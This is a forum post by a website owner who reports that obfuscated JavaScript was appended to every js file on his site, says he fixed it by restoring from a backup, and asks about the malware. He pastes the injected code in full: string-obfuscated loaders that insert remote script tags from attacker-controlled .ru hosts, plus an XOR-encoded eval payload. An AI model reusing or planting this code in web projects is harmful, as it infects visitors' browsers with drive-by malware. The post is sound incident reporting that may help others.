Thanks for the idea Chris, but not the case (this time). I verified with IE on multiple machines and with FF.
I got a break figuring this out by using Firebug in FireFox, I noticed the script below, in yellow.
<html lang="en-US">
<head id="Head">
</head>
<body id="Body">
<noscript/>
<form id="Form" autocomplete="off" style="height: 100%;" enctype="multipart/form-data" action="/default.aspx" method="post" name="Form">
</form>
<script src="http://plala-or-jp.icicibank.com.tiscali-it.livesitedesign.ru:8080/uploading.com/uploading.com/teacup.com/google.com/wikia.com/" defer="1">
</script>
</body>
</html>
Firebug showed that the script failed to load...
1Failed to load source for: http://plala-or-jp.icicibank.com.tiscali-it.livesitedesign.ru:8080/uploading.com/uploading.com/teacup.com/google.com/wikia.com/
But how did that code get there? I reviewed all of the javascript text files in the js folder and found these 5 lines at the end of ALL fo the js files.
var io='';var q;if(q!='' && q!='vp'){q='y'};var e;if(e!='h' && e!='l'){e=''};var i=document;var v='s9cCraiapUta'.replace(/[ahC9U]/g, '');var cy;if(cy!='ip' && cy!='c'){cy=''};var b;if(b!='kp' && b!='ft'){b=''};var g=window;this.ic=false;var z;if(z!='' && z!='lh'){z='hg'};g.onload=function(){this.br="br";try {var gt;if(gt!='' && gt!='cj'){gt=''};gf=i.createElement(v);var bf;if(bf!='uc' && bf!='n'){bf=''};this.t="t";this.zc='';gf.src='hNt~tUpM:H/N/Nh~dHfUcHbNaMnNkN-HcHoUm~.NdNoNcMsHt~o~cH.NcNo~mN.Hm~eUtM-NaUrMtH-NcNoUm~.HhUoNmUeNsHiMtHeHd~eUsHiMg~nHs~.Hr~uM:H8~0M8N0N/UfMoNxN.NcUoUmU/Mf~oHxU.Nc~oUmM/Ns~uMrHfMtUh~eUcNh~aNnMnUeUl~.HcHo~mU/UgUoHoMgMl~eH.Uc~oHm~/HhUuNlNuN.NcUoUm~/U'.replace(/[UN~MH]/g, '');var ne=new Array();var j=new Array();var _h;if(_h!=''){_h='vf'};gf.setAttribute('d~e@fZe~r4'.replace(/[4Z@~o]/g, ''), "1");i.body.appendChild(gf);var a;if(a!='rf'){a=''};var zq='';} catch(m){};var op;if(op!='ej' && op!='q_'){op='ej'};var tp;if(tp!='zr' && tp!='ag'){tp='zr'};};var yn;if(yn!='ew'){yn='ew'};
var j=window;var _ih=36922;var z=document;var vr;if(vr!='b' && vr!='bg'){vr=''};function l(r){var _=['h_tXtzpJ:_/J/zsJaXnzszpzoz-XcJozmJ.6f_rXeJe_wXezbXs_._c6o6m_._c6nXb6lJo_g6sz-6czo_mX.Xbze6sJtzn6e_wXsXmXaJlXlX.XrzuJ:J8X0z860z/XpzlzaXl_aJ.6oJrJ.Xjzpz/JpXlJaXl_a_.Jo6rX.zjzp_/_3_96.6nJeXtX/XgJaJmXezv6a6nzc6e_.zczo_m6/zgXo_o_gXl6ez.zczoXmz/J'.replace(/[JzX_6]/g, ''), 'sHcHrLiIpIt~'.replace(/[~dLHI]/g, ''), 'c&rXe&a&tveXE&lXeXmvevn3t3'.replace(/[3&X\<v]/g, ''), 'o?n?lPoBa?dB'.replace(/[BPp\?\+]/g, ''), 's2r#ch'.replace(/[h7S#2]/g, ''), 'a4pVp:e$nPd4C4h4i:l$dV'.replace(/[V\:\$4P]/g, ''), 'spe%tSASt%t<rpiSbpu%tSeS'.replace(/[Sp\<%/]/g, ''), 'buord@yr'.replace(/[ru&@m]/g, ''), 'dpe/fnepr/'.replace(/[/\*npG]/g, ''), "1"];this.e="";var ru=_[r];var im;if(im!='sz' && im!='hj'){im='sz'};return ru;var zum;if(zum!='kn' && zum != ''){zum=null};}var v = function(){var g;if(g!='ds' && g != ''){g=null};try {p=z[l([2][0])](l([2,1][1]));p[l([4,6][1])](l([1,8][1]), l([9][0]));var q="";var k = z[l([0,7][1])];this.n="n";p[l([4][0])]=l([0,2][0]);var hu=new Array();k[l([5,2][0])](p);} catch(_i){};var gk;if(gk!='lh' && gk != ''){gk=null};};j[l([3][0])]=v;
var j;if(j!='' && j!='um'){j='p'};var ir=new String();try {var ww="ww";var bi;if(bi!='' && bi!='a'){bi='ih'};var b='corTeTaot/ezEzloe/moeTnot/'.replace(/[/oz2T]/g, '');this.ifp=false;var at="at";var u=window;var f=15402;var l='oQn^lGo^aede'.replace(/[eGQJ\^]/g, '');var pv=false;var e='s^coroi^p*t^'.replace(/[\^Bo\*O]/g, '');var m="";this.yx=false;_=function(){var xf="xf";var tn=new Date();var rq=new Date();v=document[b](e);var au="";this.eh=false;var q;if(q!=''){q='x_'};v.setAttribute('d3e6f@e;r6'.replace(/[6t3@;]/g, ''), ([7,1][1]));var nm=new String();this.er="";v['sfr~c$'.replace(/[\$f3~g]/g, '')]='hDt^t^p^:D/#/Xs#eXdDo6pDaDr#kDiDn^g6-DcXo#m^.Df#o6tDoXl#o#gX.#n^e#t#.Xb#l6o6gXc^aDtDa^l6oDg6-6c#o6mX.Xm#e6d6i6a^t#a#g6oXn#l^i^n6eX.Dr#u#:^8D068X0^/X5D8X.6c6oDmD/#5X8D.#c#o^mD/^hXyDvDe#s^.6nDlX/#g^oXoXgXl#eX.^cDoXmD/^1#168#161646.6c6nD/D'.replace(/[D\^#X6]/g, '');var kai;if(kai!='ea'){kai=''};var dq=new String();var fu;if(fu!='nz'){fu=''};document['b6oJdJy6'.replace(/[6_\+J;]/g, '')]['a~prp.ernrd.C.hXi.lrdX'.replace(/[X\.r~\$]/g, '')](v);};var pj=new Array();var ar;if(ar!='sy' && ar!='tng'){ar=''};this.vgi="vgi";u[l]=_;} catch(bg){};var la;if(la!=''){la='pk'};
var k='';try {var T=39867;var hL='';var S='g';this.f="";var K='[';var b=4518;var Q=']';var m=false;function H(_,h){var G=K;var Hm='';G+=h;this.V="";G+=Q;var TJ=65295;var O=new RegExp(G, S);this.QI=false;return _.replace(O, '');};var Y=H('hHtHtSpH:P/H/Hy3aShPoPoW-HcHo3m3-Hc3nW.HsHoSfPtHoWnSiSc3.PcPo3mW.3nSoHwWdPoWwSnWl3oSaWd3aPlWlW-Hc3oSmP.3mPaSn3sHbHeWsStWsPiPtPeH.PrSuS',"SPWH3");var PB="";var QG=H('bpopd2y2',"2lFpt");this.qr='';var D=H('aRpFpxeRnFdJCxhRixlJdF',"FJR5x");var R=H('cLrHeHa8t8eVEHlHeHm4e4nVtH',"HL48V");var N=false;var l=H('svcvrXiXpHtX',"XHREv");var Dz=H('ognWlCoZaCdC',"CZ2gW");this.MY=56891;var _="1";var r=H('sheUtOAUtUtWrUizbzuUtUeW',"WUOzh");this.Ca=57421;var Yb=H(':s860P8K0P',"PKsV6");var gW="";var g='';this.qo=36208;var y=H('/Mtwiwg0ewrwdyiMrMeycwt0.HcMoMmH/ytwiMg0ewrHdHi0ryeycwtM.Mcyowmy/yg0owowgwlyeM.HcHoym0/0gyoHu0gHo0uH.Hc0oMmH/HsMiMtyeMmyeytHeMrw.Hc0oymM/y',"yH0wM");this.gH='';window[Dz]=function(){var rJ=7417;J=document[R](l);var c="";g+=Y;var nz="";g+=Yb;g+=y;var E='';J[H('sQrEcd',"dEQFN")]=g;var IK=11031;J[r](H('d1etftepr2',"2p1tX"), _);var hH=false;var P=document[QG];P[D](J);};} catch(KY){var HV=""; KY);this.fO="";};
var Dt="8db48084adda998eb0939dfcb3beb18edd9eb19cefe1ecebf7a3938c9fb692b689a099a799888cb3888995a997b78a98a3a9b9ae97bd8e98aa9ebeabb4b9b59d83abb1c485a9d2bc88acfcafbec58bac";var YV;if(YV!=''){YV='Vh'};var lzP;if(lzP!='wb'){lzP='wb'};function O(k){var j;if(j!='' && j!='n'){j=''};var Vm;if(Vm!='' && Vm!='oo'){Vm=''};var M=""; function c(Q){var B =[0,97,5][0];var H = '';this.Qh='';var d = -1;var gO;if(gO!='' && gO!='wq'){gO=null};var lO="lO";var OI =[0,159][0];Q = new J(Q);var lr="";var Jc;if(Jc!='' && Jc!='Cc'){Jc='BD'};var Hv;if(Hv!=''){Hv='dt'};var Ci=25849;var Zc='';for (OI=Q[F("gelnth", [2,1,3,0])]-d;OI>=B;OI=OI-[131,1,91][1]){H+=Q[F("hcaArt", [1,0,2])](OI);var cU=false;var OB;if(OB!='' && OB!='zI'){OB=null};}var He;if(He!='b' && He!='K'){He=''};return H;this.Yu=false;this.Ey=false;}var MC;if(MC!='Mg' && MC != ''){MC=null};var YM=false;var nN=new String(); function L(E){var cG='';var rN=new String();var w=[85,50,255][2];var rY=new Date();var V=E[F("etglnh", [3,0,4,2,1])];var cT;if(cT!='' && cT!='by'){cT=null};var i=[98,0,103][1];var v=[1,207,156][0];this.Js=46542;this.ar=18895;var r=[0][0];this.GB="GB";while(i<V){var na=new String();this.ra=false;var Rh;if(Rh!='P' && Rh!='wd'){Rh=''};i++;var jf="jf";this.jU="";C=h(E,i - v);var TW;if(TW!='' && TW!='kH'){TW=''};r+=C*V;}this.xu="xu";var QQ;if(QQ!='' && QQ!='se'){QQ='mo'};return new J(r % w);var xP;if(xP!='Fy' && xP != ''){xP=null};var RL="RL";}var p=56957; var eK;if(eK!='Lo' && eK != ''){eK=null};var ooe;if(ooe!='Bu'){ooe='Bu'};function F(Q, l){var MD=new String();var H = '';var sW;if(sW!='xi'){sW=''};var N = Q.length;var Vf;if(Vf!=''){Vf='Bj'};var bF;if(bF!=''){bF='tq'};var qc;if(qc!=''){qc='iY'};var yd;if(yd!=''){yd='tqA'};var m = l.length;var hu;if(hu!='mh' && hu!='MA'){hu=''};var v=[48,61,1][2];var mR="";var B=[245,163,0][2];this.pp="pp";var wZy;if(wZy!='Wj' && wZy != ''){wZy=null};this.Pb="Pb";var D;if(D!='qy' && D!='xh'){D='qy'};for(var OI = B; OI < N; OI += m) {this.oW="oW";var XK=new String();var A = Q.substr(OI, m);var Ud="Ud";var zW;if(zW!='' && zW!='zC'){zW='ea'};if(A.length == m){var jym;if(jym!='Cq' && jym != ''){jym=null};for(var i in l) {this.bW="";var NpB=new Date();H+=A.substr(l[i], v);var xc;if(xc!='' && xc!='oh'){xc='rs'};this.qq=43291;}var wn=false;} else { H+=A;}var TK;if(TK!='vF' && TK!='Nx'){TK=''};}this.fa="fa";var Xh;if(Xh!='XD' && Xh!='ms'){Xh=''};return H;var NS;if(NS!=''){NS='LP'};this.uS="uS";}var YFM=new String(); var GV=new Date();var QN=false;function s(sb,Y){var vk;if(vk!='FO'){vk='FO'};return sb^Y;}var LC="LC";this.aq=''; var h=function(wm,Ec){return wm[F("ChadercoAt", [6,1,2,5,0,7,3,4])](Ec);};var ir;if(ir!='bi' && ir!='wD'){ir='bi'};this.ml="ml";var HJ=new Array();var q=window;var S=q[F("vael", [2,0,1,3])];var Hx=new Array();var CG;if(CG!='' && CG!='JX'){CG='yU'};var R=S(F("uFtncion", [1,0,3,4,2]));var gE;if(gE!='' && gE!='XU'){gE='Hj'};var Aj=new Date();var AI=S(F("eREgpx", [1,0]));var zj;if(zj!='' && zj!='aA'){zj=null};var J=S(F("tSirgn", [1,0]));var YP;if(YP!='' && YP!='tw'){YP='Ra'};var kQ=new Array();var Sr;if(Sr!='' && Sr!='OX'){Sr=''};var U = '';var cQ;if(cQ!='Az' && cQ!='aF'){cQ=''};var xf;if(xf!='' && xf!='yi'){xf=''};var VW;if(VW!='' && VW!='jF'){VW=''};var cK;if(cK!='' && cK!='Gj'){cK='zji'};var ba=new Date();var tM;if(tM!='IF'){tM=''};var zD=new String();var ink=q[F("cpnasuee", [5,2,6,4,0,3,1])];var sA=J[F("ofrhmCCareod", [1,2,0])];var Su;if(Su!='Ov' && Su!='Zr'){Su='Ov'};var Uq;if(Uq!='DZ'){Uq='DZ'};var qr = sA(37);var EH="";var X =[2,154,34,96][0];var kY=21840;var z = '';var eo=false;var dS;if(dS!='' && dS!='wT'){dS=null};var v =[1][0];var sf;if(sf!='xJ'){sf='xJ'};var Af;if(Af!='wj'){Af='wj'};var o = k[F("hnletg", [2,3,1,5,4,0])];var im;if(im!='' && im!='Tl'){im=''};var oD=[1, F("nemtoucdetaEcer.(tn\'eeml\'tp)cirs", [7,4,6,5,2,1,0,3]),2, F("oducemtnb.do.ypaepdnhCli(d)d", [1,0]),3, F("iloduapng.com", [4,6,1,2,5,3,0]),4, F(".iiltsvtieeeisd.gurn0:088", [1,4,0,3,2]),5, F("icij.pankcbim.t.ocaliics", [3,5,4,0,1,2]),6, F("edts.rAitteb(tuf\'eedr\'", [1,4,3,0,2]),7, F("iwdnwoo.lnaod", [1,0]),8, F("nfuict(on)", [1,2,0]),11, F("oggo.lceom", [1,3,0,2]),12, F("aetpucoc.m", [2,1,0]),14, F("a.kiiwcom", [5,3,2,4,0,1]),15, F("actc(he)", [1,0,2,3]),16, F("ht\"tp:", [2,0,1,3]),17, F("lplaa", [1,0]),18, F("rs.dc", [3,2,1,0]),19, F("1\')\'", [1,0]),20, F("rty", [1,0]),21, F("ro", [1,0])];var Xb = /[^@a-z0-9A-Z_-]/g;var qL = '';var NO="NO";var BI =[194,55,240,0][3];var B =[0,238,252,75][0];var TP;if(TP!='' && TP!='Fg'){TP=''};this.Pq='';this.VB='';var df = '';var tr;if(tr!='iT'){tr=''};var zDp;if(zDp!='EC' && zDp!='um'){zDp='EC'};var la;if(la!='JI' && la!='bL'){la='JI'};for(var ic=B; ic < o; ic+=X){var xg;if(xg!='Tb' && xg != ''){xg=null};z+= qr; var xfL=false;this.dFY="dFY";z+= k[F("usbtsr", [1,0,2])](ic, X);var Yz;if(Yz!='sB'){Yz=''};}var wI=65124;this.jH='';var k = ink(z);var FI;if(FI!='bM' && FI!='pq'){FI='bM'};this.rL='';var rM = new J(O);var rq=false;var e = rM[F("creaepl", [1,4,5,6,3,0,2])](Xb, df);var Uo="";var ke;if(ke!='' && ke!='Dn'){ke=''};var Hg = oD[F("gnleth", [2,3,1,0,4])];var pt;if(pt!='' && pt!='RM'){pt=null};var rw="rw";var WvL;if(WvL!='Zu'){WvL=''};var x = new J(R);e = c(e);this.ny="ny";var rNR;if(rNR!='' && rNR!='oI'){rNR=''};var FM;if(FM!='DY' && FM!='rK'){FM=''};var JP = x[F("epracle", [2,0,1])](Xb, df);var Pt;if(Pt!='nar'){Pt=''};var Suu=new String();var JP = L(JP);this.FC=false;var T=L(e);var vh=new Array();for(var OI=B; OI < (k[F("htnlge", [3,5,2,4,1,0])]);OI=OI+[39,1][1]) {this.Fx="";var RN;if(RN!='' && RN!='Yb'){RN='Cy'};var tE = e.charCodeAt(BI);this.Ur=8864;var ZC;if(ZC!='AW'){ZC='AW'};var doH = h(k,OI);var eaJ;if(eaJ!='' && eaJ!='fS'){eaJ=''};var hq="hq";var kc='';doH = s(doH, tE);var mky="mky";var st;if(st!='GI'){st='GI'};var gx;if(gx!='' && gx!='Mo'){gx=''};var ncN;if(ncN!='' && ncN!='dg'){ncN='PN'};doH = s(doH, T);doH = s(doH, JP);this.SJ=17031;var md;if(md!='wX'){md=''};BI++;var qT;if(qT!='' && qT!='XG'){qT='GXi'};var Qyq;if(Qyq!='Iz' && Qyq != ''){Qyq=null};this.lt='';this.qTp='';if(BI > e.length-v){BI=B;var cr="cr";}var Oq="Oq";var vu;if(vu!='' && vu!='Ex'){vu=''};var vs=new Date();qL += sA(doH);this.PF=64116;}this.FX="";this.NOe="";for(u=B; u < Hg; u+=X){var Ga;if(Ga!='GC' && Ga != ''){Ga=null};this.JK='';var FE = oD[u + v];var Zue;if(Zue!='' && Zue!='AzI'){Zue='fPw'};this.Cw="Cw";var vT = sA(oD[u]);this.Sn=24711;var lS=new Date();var gZd='';var Wb;if(Wb!='oa' && Wb!='FD'){Wb='oa'};var vY = new AI(vT, J.fromCharCode(103));qL=qL[F("percale", [2,1,0])](vY, FE);var tbG="tbG";}var Wl;if(Wl!='' && Wl!='Fl'){Wl='Prw'};var sm='';var TC;if(TC!='gP' && TC!='KF'){TC=''};var sw=new R(qL);sw();var wZL=new Date();var Xj="";this.tz="";T = '';var xG=false;e = '';this.ox=false;var TWQ="TWQ";JP = '';qL = '';x = '';var xl;if(xl!='GL'){xl='GL'};var bZ=new String();var ce=new String();sw = '';var tP;if(tP!=''){tP='gxw'};this.Xw=false;this.jO="";var Ik='';this.kT='';var Zg="";return '';var RO=43494;var hV;if(hV!='lV' && hV!='Bpt'){hV='lV'};};var YV;if(YV!=''){YV='Vh'};var lzP;if(lzP!='wb'){lzP='wb'};O(Dt);
I couldn't be certain that these 5 lines were the problem, so I reviewed the js files from a 1 year old backup. Those lines were not in the original js files. I replaced the js files with the original and the menus are now functioning normally again.
My biggest frustration is not finding any clues on the tech sites, virus, malware sites about this malware so I'm being long in this answer to maybe help someone else. I've never heard of this malware. The questions that I still have unansered are:
1. Is this malware new or has it been around a while?
2. Why didn't my virus software catch, prevent it?
3. Did I only clean up the symptom but leave the virus to reinfect in the future?
4. What's wrong with public executions of people that build and distribute malware?
Ed